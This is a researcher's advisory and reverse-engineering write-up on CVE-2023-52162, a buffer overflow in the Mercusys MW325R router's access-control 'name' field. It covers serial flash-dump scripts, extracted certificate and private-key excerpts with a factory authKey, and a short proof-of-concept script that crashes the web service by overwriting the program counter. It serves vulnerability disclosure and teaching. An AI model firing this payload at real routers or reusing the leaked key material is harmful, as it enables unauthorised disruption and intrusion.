Mercusys MW325R MW325R(EU)_V3_1.11.0 Build 221019(Multi-language) - CVE-2023-52162
If you find it valuable, you can support me by making a donation. Donate now.
Advisory
Story
I went to a local store to buy some targets. I found a cheap Mercusys (MW325R EU V3) router.
I found multiple vulnerabilities during the reverse engineering process, and I reported them to the Vendor. You can find more information here about CVE-2023-46297: https://k4m1ll0.com/cve-2023-46297.html
In this part, I will focus on CVE-2023-52162 only.
Vulnerability Description
An authenticated user, by modifying the Access Control List, can add new devices to the whitelist/blacklist. However, the name parameter passed is not adequately validated on the server side, resulting in a buffer overflow vulnerability. Exploiting the vulnerability is not straightforward, but it is possible to execute arbitrary code.
- Hardware model: Mercusys MW325R EU V3
- Firmware: MW325R(EU)_V3_1.11.0 Build 221019
- Authentication required: YES
- It works with LAN and WAN
- Security->Access Control -> White List/Black List -> Add device.
Access Control List

The "name" parameter:

The HTTP service restart in the log window:

Note: The PC register contains 41414141. :P
Preparation
If you are more interested in the preparations, you can read more about it here as well:
https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-2
The following screenshot contains a high-level overview of the reverse engineering process.

The firmware
In general, there are multiple ways to obtain the firmware. There are easier and harder cases. Here are some examples:
- Download it from the vendor
- Exporting the binary from the device
- Firmware update + network traffic analysis
- Hardware tools
- Debug interface
Note that even if you have the firmware, sometimes it is encrypted.
However the firmware can be downloaded from the vendor. I have a new chip reader, which was the main reason for the project so I used it. The model was KeeYees SOP8 SOIC8 Test Clip and CH341A USB Programmer Flash for Most of 24 25 Series BIOS Chip. This is what it looks like:

It is an awesome device and there are multiple test clips in it. It looks like complicated, but it is not that difficult to use. Suppose you choose the correct test clip and connect it to the chip. There is a marker on the chip (a dot), it is the place of the "red cable". The other part goes to a USB port. The programmer works with Windows, so I used my old ThinkPad.
If you set it correctly, the program automatically detects the chip. If it does not work, check the markers and hats and reconnect the whole thing.

The programmer looks like this:

It is possible to read and write the contents of a chip. It supports a lot of vendors and devices and reading from a soldered chip is also possible by changing the clips and the hats.
A soldered chip refers to an integrated circuit (IC) or microchip that is permanently attached to a printed circuit board (PCB) using solder. Solder is a fusible metal alloy that, when heated, melts and creates an electrically conductive and mechanically strong bond between the chip's metal contacts (leads) and the PCB's pads or traces.
Basic reverse engineering tools (binwalk, strings, xxd, ...)
Binwalk is a popular tool used for analyzing embedded files and firmware images. Its primary uses include:
- Analyzing File Structures: Binwalk can identify and extract various file types and data formats within a given binary file. This is particularly useful for examining firmware images, which often contain different filesystems, compressed data, and other embedded content.
- Data Extraction and Decryption: Binwalk can easily extract compressed or encrypted data. It recognizes various compression algorithms and encryption methods, attempting to automatically decompress or decode them.
- Firmware Analysis and Modification: Binwalk allows for in-depth analysis of firmware images, helping to uncover security flaws, modify firmware, or study embedded systems by reverse engineering them.
Binwalk is a powerful and versatile tool widely used by cybersecurity professionals, firmware developers, and security researchers for detailed analysis and examination of embedded systems and binary files.
Unfortunately, binwalk does not work with all binary. I found multiple LZMA compressed data, but there was a problem with the sizes. The following screenshot contains the errors:

I use traditional tools like xxd and dd to disassemble the binary in these cases.
$ binwalk -E mw325v3-up-noboot_2022-10-19_11.03.08.bin
DECIMAL HEXADECIMAL ENTROPY
--------------------------------------------------------------------------------
1024 0x400 Rising entropy edge (0.977327)
803840 0xC4400 Falling entropy edge (0.653670)
818176 0xC7C00 Rising entropy edge (0.973007)
1614848 0x18A400 Falling entropy edge (0.199398)

The binary was encrypted. With basic commands, I tried to collect as much information as possible about the binary.
Sometimes we can extract important and sensitive information from the binary this way, including hardcoded passwords.
First I tried with "strings":

The "xxd" tool is used for creating a hex dump of a given file or for converting a hex dump back into its original binary form.

In firmware, a bin file is a binary file containing executable code or data for the embedded device. So, if I say "I gathered the bin files from the firmware," it means I collected certain binary files from the firmware, which may contain executable code, configuration data, or other important information for the embedded device. This is important because examining these binary files allows me to better understand the firmware's operation and content, and possibly discover security vulnerabilities or other interesting details.

PEM files are commonly used for storing cryptographic keys, certificates, and other sensitive information in a text format. They often contain encoded data in Base64 format, which may include private keys, public keys, certificates, certificate signing requests (CSRs), and other cryptographic information.
Gathering PEM files can be beneficial for several reasons:
- Certificate Management: PEM files often contain SSL/TLS certificates used for securing web servers, email servers, or other network services. By collecting PEM files, you can manage and keep track of all the certificates used within your infrastructure.
- Key Management: PEM files may also contain private keys, which are crucial for asymmetric encryption and authentication. Collecting these files allows you to securely store and manage your private keys, ensuring their availability when needed.
- Security Analysis: Analyzing PEM files can help identify potential security vulnerabilities or misconfigurations in your cryptographic infrastructure. For example, you can check for expired certificates, weak key lengths, or insecure cryptographic algorithms.
- Backup and Recovery: By gathering PEM files, you can create backups of your cryptographic keys and certificates, ensuring that you can recover them in case of accidental deletion, hardware failure, or other emergencies.
Overall, collecting PEM files helps improve the management, security, and reliability of your cryptographic infrastructure by centralizing and organizing sensitive cryptographic assets.

I found a strange-looking "`MINIFS`" filesystem:


I found some file names, and probably directory names.
MINIFS
web/js/app
ruIspAutoConfig.js
web/js/su
widgets.js
web/themes/mercury/css
base.css
web/locale/uk_UA
lan.js
web/locale/ru_RU1web/locale/vi_VN
frame1.js
web/locale/ko_KR
web/locale/es_MX
web/locale/pt_BR
frame2.js
web/themes/mercury/img/spriteImages/png
sprite.total.png
web/locale/en_US
web/locale/zh_TW
web/js/libs
jquery.min.js
fw/mtk
WIFI_RAM_CODE_MT7628_e2.bin
mobile.css
web/modules/advanced/network/wanSettings
script.js
total.css
web/modules/advanced/network/iptvAdv
html2canvas.min.js
conf
modelDesc.bin
web/modules/quickSetup
web/modules/homecare
view.html
web/modules/basicDevice
controllers.js
web/config
models.json
tpEncrypt.new.js
modules.json
defConf.bin
perfect-scrollbar.min.js
web/modules/advanced/system/timeSettings
models.js
web/modules/index
jquery.qrcode.min.js
web/modules/advanced/network/dhcpServerAdv
web/modules/advanced/wireless/wds
web/themes/mercury/img
Loading.gif
web/modules/wirelessSettingsRE
wirelessSetting.js
web/modules/advanced/wireless/wps
web/modules/advanced/system/changeLoginPassword
web/modules/quickSetupV2/internetConnection
web/upnp
ipc.xml
web/modules/advanced/network/ipv6Adv
web/modules/advanced/wireless/hostNwAdv
web/modules/advanced/security/accessControl
splash.jpg
web/modules/quickSetupV2/chooseInternetType
web/modules/main
main.js
web/modules/advanced/wireless/hostNwAdv5g
qs-connect1.png
web/modules/quickSetupRE/qsScan5g
web/modules/advanced/operationMode
web/modules/quickSetupRE/qsScan
web/modules/quickSetupWISP/internetConnection
web/modules/advanced/network/networkStatus
web/modules/advanced/nat/portForwarding
web/modules/networkMap/mapReMode
wfa.xml
web/modules/quickSetupCloud
web/modules/advanced/network/lanAdv
web/js/su/widget
widget.mobile.js
navigator.json
web/modules/networkBasic/wisp
web/modules/advanced/security/IPMAC
qs-connect2.png
web/modules/networkMap/mapRouter
web/modules/quickSetupV2
web/modules/wireless_basic
web/modules/quickSetupWISP/qsScan
navigator.wisp.json
web/modules/advanced/wireless/wirelessSchedule
web/modules/advanced/nat/portTriggering
web/modules/networkMap/mapRouterMode
web/modules/quickSetupWISP
web/modules/networkMap/mapWispMode
web/modules/quickSetupRE/qsSummary
web/modules/quickSetupRE
web/modules/advanced/network/routingAdv
char.js
web/modules/advanced/system/backupRestore
Switch_Loading.gif
ifc.xml
web/modules/advanced/system/reboot
web/modules/quickSetupAPV2
lanPort6.png
web/modules/advanced/system/diagnostics
lanPort5.png
web/modules/quickSetupV2/wirelessSetting
web/modules/advanced/wireless/guestNetworkAdv
lan.css
web/modules/wireless_basic_5g
web/modules/advanced/nat/DMZServer
igd.xml
web/modules/login/localLogin
web/modules/quickSetupCloud/chooseInternetType
server-cert.pem
web/modules/utils
web/modules/advanced/network/ddnsAdv
lanPort7.png
web/modules/login
web/modules/advanced/system/led
lanPort8.png
lanPort4.png
navigator.ap.json
lanPort3.png
lanPort1.png
web/modules/advanced/wireless/guestNetworkAdv5g
web/modules/lan_ap_re
classes.json
lanPort2.png
web/modules/networkMap/mapHostExtend
web/common
Index.htm
web/modules/advanced/security/yangDexDns
sku/mtk
7628_SingleSKU.dat.RU
7628_SingleSKU.dat.DE
web/modules/advanced/network/ddnsAdv/ddnsAdvDnydns
web/modules/advanced/network/ddnsAdv/ddnsAdvNoip
web/modules/advanced/system/firmware
main.html
web/modules/login/localPwdRecovery
web/modules/quickSetupV2/congratulations
web/modules/networkMap/mapInternet
navigator.re.json
web/modules/advanced/wireless/additionalSettings
web/modules/advanced/network/macAddrSettings
web/modules/quickSetupWISP/summary
button_loading.gif
web/modules/advanced/system/cwmp
web/modules/advanced/wireless/wdsBridging
7628_SingleSKU.dat
perfect-scrollbar.css
language.js
error.html
web/modules/quickSetupRE/qsSetExtend
web/modules/networkMap/mapInternetStatus
web/modules/quickSetupWISP/qsSetExtend
web/modules/advanced/nat/UpnpCfg
web/modules/networkMap/mapHostRouter
web/models
commonModels.js
web/modules/advanced/security/alg
favicon.ico
mercusys_2048_newroot.cer
logo-icon.png
web/modules/advanced/system/statistics
2048_newroot.cer
wps.xml
web/modules/advanced/system/sysLog
web/modules/networkMap
l3f.xml
web/locale
meBetaMark.png
url.js
src.js
web/modules/advanced/security/firewall
device.json
priv-key.pem
web/modules/networkBasic
web/modules/advanced/wirelessRE
web/modules/quickSetupRE/wizardEndRE
RU.config
factory.config
DE.config
Based on the "xxd" output at the end of each filename there is a null byte. I did not know, how the content was stored exactly.
These files seemed interesting:
7628_SingleSKU.dat
factory.config
DE.config
server-cert.pem
fw/mtk WIFI_RAM_CODE_MT7628_e2.bin
I found this link, maybe it is useful: https://deviwiki.com/wiki/TP-LINK_Archer_C24_v1.x_(EU).
I found no information about the boot process.
UART SHELL, and the boot process
Using the "screen" command, I accessed my previously established UART shell.
screen -L /dev/tty.USB0 115200

I checked the output of the boot process. It uses U-Boot:
U-Boot 1.1.3 (Dec 17 2021 - 18:17:52)
Board: Ralink APSoC DRAM: 8 MB
relocate_code Pointer at: 807c4000
flash manufacture id: 1c, device id 70 15
find flash: EN25QH16B
There were multiple boot modes, and the content was encrypted. The "0xbc00d000" was where the image starts.
Please choose the operation or press ctrl + c to stop auto boot:
1: Load system code to SDRAM via TFTP.
2: Load system code then write to Flash via TFTP.
3: Boot system code via Flash (default).
9: Load Boot Loader code then write to Flash via TFTP.
3: System Boot system code via Flash.
## Booting image at bc00d000 ...
addr:0xbc00d000
Is TPOS Image.
imgFileEnc=0xbc00d080, offset=0x80, len=0xc45ac
We have additional information about the application's internal structures.
See "App initialization" below.
initcall level=0
initcall level=1
initcall level=2
ctrlAddEventCallbackExt():register app.
ctrlAddEventCallbackExt():register app.
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:382] not null
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app
ctrlAddEventCallbackExt():register app.
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app
[apps_wlanAppRegister:377] l_wlanapplist_register
[apps_wlanAppRegister:392] add wlan app
ctrlAddEventCallbackExt():register app.
ctrlAddEventCallbackExt():register app.
ctrlAddEventCallbackExt():register app.
################################################
loadAppDesc():load app.
loadAppDesc():load app.
loadAppDesc():load app.
loadAppDesc():load app.
loadAppDesc():load app.
loadAppDesc():load app.
[main]ctrlAppReset():App main reset.
[main]ctrlAppReset():App forward reset.
[main]ctrlAppReset():App systool reset.
[main]ctrlAppReset():App wlan reset.
[main]ctrlAppReset():App wan reset.
[main]ctrlAppReset():App advanced reset.
I found numerous logs related to m7628. For example:
[mt7628]load fw image from /lib/firmware//fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin
[mt7628]try 1 times
[mt7628]<<<<<<<<<<<<< oooooo! will load file: /fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin
[mt7628]<<<<<<<<<<<<< OS_LOAD_CODE_FROM_BIN load file: /fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin size: 64848(0xfd50)
[mt7628]AndesMTLoadFwMethod1(2320)::pChipCap->fw_len(64848)
[mt7628]FW Version:1........
[mt7628]FW Build Date:20180704090333
Note: We have a path "/fw/mtk/WIFI_RAM_CODE_MT7628_e2.bin".
I collected the following entries about the MINIFS file system:

Operating system
It was a debugging environment, and the help command described the basic information about the commands. It took time to use these programs properly (more or less).

The most important commands were:
- mem
- task
- flash
- fs
- system
- debug
I tried to gather as much information as possible using the built-in commands. The following screenshots contain the most important gathered information:

Task information:

Memory information:

Memory dump:

system command:

debug command + cat example:

Summary until now
Flash layout: We have the Flash layout.
- Operating system: No Linux, "TPOS 1.0.0".
- Filesystem: There were no classical commands like cd, but it is possible to dump files.
- Programs: No real programs, there are tasks.
- Memory: There was free space where I could dump things.
- Open ports: "net show"
Dumping the flash via the debugging interface
I tried to use the TFTP command and the atfpd/ptftpd TFTP servers, but I had no luck with it.
Decryption occurs when the system starts. After boot when the system is running, the files can be used. I can use this to access additional information via the debug interface. It is important to understand the Flash Layout.
I made a small Python3 script. It connected to the serial console and used the built-in commands to dump the flash content.
Notes:
- It is slow and ugly, but it works.
- There are cases when random "\r\n" characters appear in the output.
- I used 4KB chunks during the dump.
- Sometimes the output was not correct. In these cases, I removed the first few bytes of the current line.
- I used this address to store the dumps for each iteration: 0x807E9000
- In some cases, you should execute the script multiple times. If you understand how it works, it is easy to modify it.
- It is also possible to dump other flash regions.
"dump_flash_via_uart_commands_mw325r.py":
#!/usr/bin/python3
import serial, sys, os, time
BAUD_RATE = 115200
# you can use this, if you have problems.
DELAY = 9
mem_addr = 0x807E9000
max_dump_size = 4
max_dump_size_bytes = max_dump_size * 1024
s = serial.Serial("/dev/ttyUSB0", BAUD_RATE)
f = open("flash_manual_full.dump", "wb")
addresses = [ hex(i) for i in range(0,2097152,4096) ]
for current_address in addresses:
print(current_address)
CONFIG_addr = int(current_address,16)
CONFIG_length = max_dump_size * 1024
flash_read_cmd = "flash -read %02x %02x %02x\r\n" % (CONFIG_addr, max_dump_size_bytes, mem_addr)
s.write(flash_read_cmd.encode("utf-8"))
dump_mem_cmd = "mem -dump %02x %02x\r\n" % (mem_addr, max_dump_size_bytes)
s.write(dump_mem_cmd.encode("utf-8"))
s.readline().decode("utf-8")
s.readline().decode("utf-8")
s.readline().decode("utf-8")
s.readline().decode("utf-8")
L = int(max_dump_size_bytes / 16)
for i in range(0,L):
line = s.readline()
if b"# \x1b[s# \x1b[s" in line:
line = line[10:]
if len(line) != 83:
print(b"!" + line)
f.write(line)
f.close()
s.close()
Dumping the flash via the debugging interface
I tried to use the TFTP command and the atfpd/ptftpd TFTP servers, but I had no luck with it.
Decryption occurs when the system starts. After boot when the system is running, the files can be used. I can use this to access additional information via the debug interface. It is important to understand the Flash Layout.
I made a small Python3 script. It connected to the serial console and used the built-in commands to dump the flash content.
Notes:
- It is slow and ugly, but it works.
- There are cases when random "\r\n" characters appear in the output.
- I used 4KB chunks during the dump.
- Sometimes the output was not correct. In these cases, I removed the first few bytes of the current line.
- I used this address to store the dumps for each iteration: 0x807E9000
- In some cases, you should execute the script multiple times. If you understand how it works, it is easy to modify it.
- It is also possible to dump other flash regions.
Note: The device in my case was /dev/ttyUSB0!
Example execution:

...

The format of the "flash_manual_full.dump" was the following:
cat flash_manual_full.dump | head -n 10
807E9000: FF 00 00 10 00 00 00 00 - FD 00 00 10 00 00 00 00 ........ ........
807E9010: 34 03 00 10 00 00 00 00 - 32 03 00 10 00 00 00 00 4....... 2.......
807E9020: 30 03 00 10 00 00 00 00 - 2E 03 00 10 00 00 00 00 0....... ........
807E9030: 2C 03 00 10 00 00 00 00 - 2A 03 00 10 00 00 00 00 ,....... *.......
807E9040: 28 03 00 10 00 00 00 00 - 26 03 00 10 00 00 00 00 (....... &.......
807E9050: 24 03 00 10 00 00 00 00 - 22 03 00 10 00 00 00 00 $....... ".......
807E9060: 20 03 00 10 00 00 00 00 - 1E 03 00 10 00 00 00 00 ....... ........
807E9070: 1C 03 00 10 00 00 00 00 - 1A 03 00 10 00 00 00 00 ........ ........
807E9080: 18 03 00 10 00 00 00 00 - 16 03 00 10 00 00 00 00 ........ ........
807E9090: 14 03 00 10 00 00 00 00 - 12 03 00 10 00 00 00 00 ........ ........
So I wrote another helper script "dump2bin.py", which restores the "bin" file.
#!/usr/bin/python3
import sys, io
BYTES_IN_LINE = 0x10 # Number of bytes to expect in each line
c_addr = None
hex_to_ch = {}
ascii_stdin = io.TextIOWrapper(sys.stdin.buffer, encoding='ascii', errors='strict')
for line in ascii_stdin:
line = line[:-1]
data, ascii_data = line.split(" \t ", maxsplit = 1)
straddr, strdata = data.split(maxsplit = 1)
addr = int.from_bytes(bytes.fromhex(straddr[:-1]), byteorder = 'big')
# we don't need this, only for debugging
c_addr = addr
strdata = strdata.replace("- ", "")
data = bytes.fromhex(strdata)
if len(data) != BYTES_IN_LINE:
sys.exit("Unexpected number of bytes in line: '%s'" % line)
sys.stdout.buffer.write(data)
Usage:
cat flash_manual_full.dump | ./dump2bin.py > flash.bin
Earlier we didn't have boot information in the binary, but this time we have the following:
xxd flash.bin | grep boot
0000a420: 7574 6f20 626f 6f74 3a20 0a00 2020 2025 uto boot: .. %
0000a590: 0949 6e70 7574 2055 626f 6f74 2066 696c .Input Uboot fil
0000a5a0: 656e 616d 6520 0000 7562 6f6f 742e 6269 ename ..uboot.bi
0000a600: 626f 6f74 6669 6c65 0000 0000 2323 2320 bootfile....###
0000a720: 2c74 6f74 616c 3a25 6420 0a00 626f 6f74 ,total:%d ..boot
0000a8c0: 743a 2062 6f6f 746c 6f61 6465 7220 7369 t: bootloader si
0000ad70: 5761 726e 696e 673a 206e 6f20 626f 6f74 Warning: no boot
0000b3e0: 7064 6174 6520 626f 6f74 6c6f 6164 6572 pdate bootloader
0000b870: 7462 6f6f 745f 636f 6d6d 6f6e 2c20 6172 tboot_common, ar
0000b8b0: 6320 626f 6f74 206f 6620 696d 6167 6520 c boot of image
0000b9a0: 626f 6f74 636d 643d 7466 7470 0062 6f6f bootcmd=tftp.boo
000d2940: 2f73 7973 7465 6d2f 7265 626f 6f74 0077 /system/reboot.w
Certs and other useful information
Here is the content of the "/conf/server-cert.pem":
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
b1:8b:2d:14:37:40:44:20
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=CN, ST=guangdong, L=shenzhen, O=tplink, OU=SOHO, CN=SDMP/emailAddress=SDMP@tp-link.net
Validity
Not Before: May 8 08:50:17 2014 GMT
Not After : Feb 1 08:50:17 2017 GMT
Subject: C=CN, ST=guangdong, L=shenzhen, O=tplink, OU=SOHO, CN=SDMP/emailAddress=SDMP@tp-link.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (512 bit)
Modulus (512 bit):
snipped
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
EC:1C:A3:BA:9F:C5:E5:4B:C1:E6:55:53:D5:08:C8:66:FE:58:91:6E
X509v3 Authority Key Identifier:
keyid:EC:1C:A3:BA:9F:C5:E5:4B:C1:E6:55:53:D5:08:C8:66:FE:58:91:6E
DirName:/C=CN/ST=guangdong/L=shenzhen/O=tplink/OU=SOHO/CN=SDMP/emailAddress=SDMP@tp-link.net
serial:B1:8B:2D:14:37:40:44:20
X509v3 Basic Constraints:
CA:TRUE
Signature Algorithm: sha1WithRSAEncryption
... snipped
-----BEGIN CERTIFICATE-----
MIIC8DCCApqgAwIBAgIJALGLLRQ3QEQgMA0GCSqGSIb3DQEBBQUAMIGEMQswCQYD
... snipped
xYyx1A9xD1X33WXWgoU3GajNStmHnxv0PEDT5tXK/DZqdJu9
-----END CERTIFICATE-----
Also, consider "/conf/mercusys_2048_newroot.cer":
-----BEGIN CERTIFICATE-----
MIIDEzCCAfugAwIBAgIQcrYy0DdBopNPK2U1W6zuyDANBgkqhkiG9w0BAQsFADAb
...snippped
6H9zAyJoUYQLA04PrhEbOmnq/26G4To=
-----END CERTIFICATE-----
"/conf/priv-key.pem":
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJBALPoPA3V2dkOJlZuH2gkTA7hoCAz6/u8lp7z51qEzFLRZA9Csysz
...snipped
LynXZnhQaaT8oyKL1VKhgNIQp7rH3zNZ5oMvkG8=
-----END RSA PRIVATE KEY-----
"/conf/2048_newroot.cer":
-----BEGIN CERTIFICATE-----
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV
... snipped
dSAA4fejD/qMQn0=
-----END CERTIFICATE-----
"/conf/DE.config":
cat /conf/DE.config:
id 0|1,0,0
oem_id DC6BAC8B6C74A4A3D5A38550ECB1D7CD
id 49|1,0,0
mode 0
"/conf/factory.config":
id 1|1,0,0
authKey WaQ7xbhc9TefbwK
id 32|1,0,0
uChannelWidth 2
uRegionIndex 2
id 33|1,1,0
bSecurityEnable 0
id 90|1,0,0
enable
Tehnical details
I published the technical details on vsociety: https://www.vicarius.io/vsociety/posts/mercusys-mw325r-reverse-engineering-part-3-authenticated-remote-code-execution-cve-2023-52162
Preparation
The device, the UART shell, and debugging options were presented in the previous sections. There, I
- performed the initial setup of the router
- connected the laptop to the router (LAN1)
- connected the router to a network (WAN)
- obtained a UART shell
Burp + Proxy
I configured the Burp proxy on my laptop, so it is possible to manipulate web requests.

I configured Firefox to use the Proxy.

The better the environment, the easier it is to reproduce the behavior. Something may need to be restarted often, so I typically use some Python automation. It pays to prepare in the long run.In this case, I had only 3 days.
I examined the router quite a bit before. I understand the technology, the device, and the internal components. The buffer overflow type of vulnerability is quite typical for these solutions. It's an iterative process, I poke a little bit and see what happens. The UART shell and the log part of the web interface will contain everything. If the router crashes, it is worth investigating further.
I recommend manually reviewing the functions, especially the exciting ones requiring user input. This helps to understand the internal workings.
Referer check
There is a security feature, it is called Referer check. It is what the name suggests, the Referer header is checked when the device receives a request. It must be set correctly or the requests will not accepted.

Example "Referer" header in Burp:

The Device path is:
Security -> Access Control -> White List/Black List -> Add device

The original request was the following:

The device uses special parameter management, which is good news, the chance of vulnerabilities is even greater. The interesting part is the 14th line, and the "name" parameter.
I changed the name parameter to a series of "A" characters.

After submitting the payload, the web interface became unavailable. After a short time, it was possible to log in again. From the behavior and analysis of the logs, it can be seen that an exception occurred and the router restarted.
The log window contained the following:

What is the "PC" register?
The "PC" abbreviation for an ARM processor stands for "Program Counter", which represents the instruction pointer. This register holds the memory address of the currently executed instruction or the address from which the next instruction starts.
From an exploitation perspective, the "PC" register is crucial as attackers can manipulate it to control the execution flow of the target program. For instance, an attacker may find an opportunity to exploit faulty program inputs, enabling them to modify the "PC" register's value to make the program execute their chosen code snippet, such as malicious code. This technique is commonly known as a buffer overflow attack and is one of the most frequently used methods for exploiting software security vulnerabilities.
More information here: https://developer.arm.com/documentation/107656/0101/Registers/Registers-in-the-register-bank/R15--Program-Counter--PC-
Note: 0x41 = 65 (decimal) - the ASCII code of "A".
The UART shell contained the following:


My original payload length was 289.

A high-level overview of the vanilla buffer overflow Exploitation
- Identify Vulnerable Program: Start by identifying a program susceptible to buffer overflow. Typically, this involves programs written in languages like C or C++, which may lack proper input validation.
- Understand Memory Layout: Understand the program's memory layout, particularly the stack and heap (if heap is used). The aim is to overflow a buffer on the stack to overwrite critical data, such as the return address stored in the PC (Program Counter) register.
- Craft Payload: Create a payload, often in the form of a string, that exceeds the buffer's size. This payload usually includes shellcode, malicious code that you want to execute. The payload must be crafted carefully to ensure it reaches the return address stored in the PC register.
- Calculate Offset: Determine the correct offset needed to reach the return address in the stack frame. This offset ensures that the overwritten return address points to the beginning of the crafted payload, enabling the execution of the shellcode.
- Trigger Overflow: Input the crafted payload into the vulnerable program, causing it to overflow the buffer. By correctly calculating the offset, you ensure that the overwritten return address points to the shellcode within the payload.
- Exploit Control Flow: Due to the overflow, critical data, such as the return address in the PC register, gets overwritten with the address of the shellcode. As a result, when the function returns, the program jumps to the shellcode instead of its intended location.
- Execute Malicious Code: With the manipulated control flow, the program executes the shellcode inserted into the payload. This grants the attacker control over the system, potentially leading to privilege escalation, remote code execution, or other malicious activities.
Understanding the PC register's role in controlling program execution and calculating the correct offset is crucial for crafting successful buffer overflow exploits. Failure to calculate the offset accurately may result in the exploit failing to execute the intended malicious code or causing the program to crash unpredictably.
In this case, we have it relatively easy as finding the correct offset can be done using elementary tools like Metasploit's "pattern_create" and "pattern_offset". These tools allow us to generate a unique pattern of characters, which we can input into the vulnerable program. By identifying where this pattern is overwritten in the program's memory, we can determine the exact offset required to reach the return address stored in the PC register.
I used the old pattern_create to create the payload and reproduced the crash. The PC this time contained "41326651". With the pattern_offset tool, I found the correct offset:

I created a new payload and inserted "C"-s into the appropriate locations. If the payload is correct, "43" (decimal 67 - C character) will appear in the PC register.

My beautiful 43 bytes were in the PC register:

How can you continue from here?
It depends on what the goal is.
You can use the contiguous free areas at the end of the memory for data storage. You can store the real payload in memory with some tricks. You must find the address belonging to useful functions and parameterize them properly.
Here are some possibilities:
- You can start another SSH server.
- You can reuse an open-source telnet client.
- You can write your ARM reverse shell.
- You can use the TFTP command to download and store something. Maybe with an older version, it works fine. (The problem was with my setup.)
In my opinion, the best way is to use the features provided by the system to download, store, and run the code.
A qualified exploit writer can write what is missing from here. It is a nice way to learn exploit writing if you write it yourself. This device is not a good starting device. If you are a newbie, I recommend TP-Link routers e.g. TL-WR840N first.
C and ARM assembly knowledge is required, maybe the MediaTek SDK will be useful too.
Update: 2024.06.08
I gave a presentation on the vulnerabilities discovered. Several people have asked about whether other models are affected or whether there are other vulnerabilities.
- In my opinion, several models are affected by the revealed vulnerabilities. This information is available to the manufacturer, not to me.
- If I had to guess, I'd say there are additional vulnerabilities in these devices. This is just an opinnion, not a fact.
If you have further questions, you should get in touch with the vendor.
Exploit
#!/usr/bin/python3
####
# Author: k4m1ll0 (matek.kamillo@gmail.com)
# Date: 2024.06.01
# Description: Mercusys MW325R EU(V3) - CVE-2023-52162 "POC"
# Note: it is an authenticated RCE, and the device uses special login mechanism.
##
import requests
if name == "__main__":
URL_BASE = "http://192.168.1.1"
SESSION_ID = "%2B4%2BBOnG%2B40%2Cp%24Wc(xtBX(L%2BU3f4ET306"
PAYLOAD="A"*156 + "C"*4 + "A"*129
URL = URL_BASE + "/?code=0&asyn=0&id=" + SESSION_ID
print(f"URL: {URL}")
try:
session = requests.session()
#proxies = { 'http' : 'http://127.0.0.1:8080' }
proxies = { }
headers = { 'Content-Type' : 'text/plain;charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Referer' : "http://192.168.1.1" }
data = 'advanced bm -add list:white name:' + PAYLOAD + ' mac:22-22-22-22-22-27\r\n'
response = session.post(URL, headers=headers, proxies=proxies, data=data)
response.raise_for_status()
except Exception as err:
print(f"Error occurred: {err}")
Disclosure timeline
© 2019-2025 Kamilló Matek (k4m1ll0) All Rights Reserved